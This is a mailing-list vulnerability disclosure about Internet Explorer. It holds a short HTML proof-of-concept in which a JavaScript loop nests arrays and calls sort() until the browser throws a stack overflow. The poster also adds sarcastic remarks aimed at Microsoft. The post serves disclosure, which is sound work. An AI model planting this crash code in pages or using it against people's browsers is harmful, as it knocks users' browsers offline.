MSIE flaws: nested array sort() loop Stack overflow exception
Hi all,
Another flaw in IE:
<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>
Normally I would see if it's exploitable but I figure I'm not MS's pet bug
finder/analyser... So, I've CC'ed this message to Microsoft. I'm sure they know
their own product better then I do and can analyse the problem much faster. So
if you want to know the impact of this vulnerability, ask them: I'm sure they
will be more then willing to help you. I'm sure they will even reply to this
message with technical details and a patch tomorrow.

PS. Don't think firefox will keep you save from hackers, I _know_ it won't ;)
But more on that later...
PS2. Recursive function call will cause stack overflow causing write exception
in guard page on a push, no control over registers.
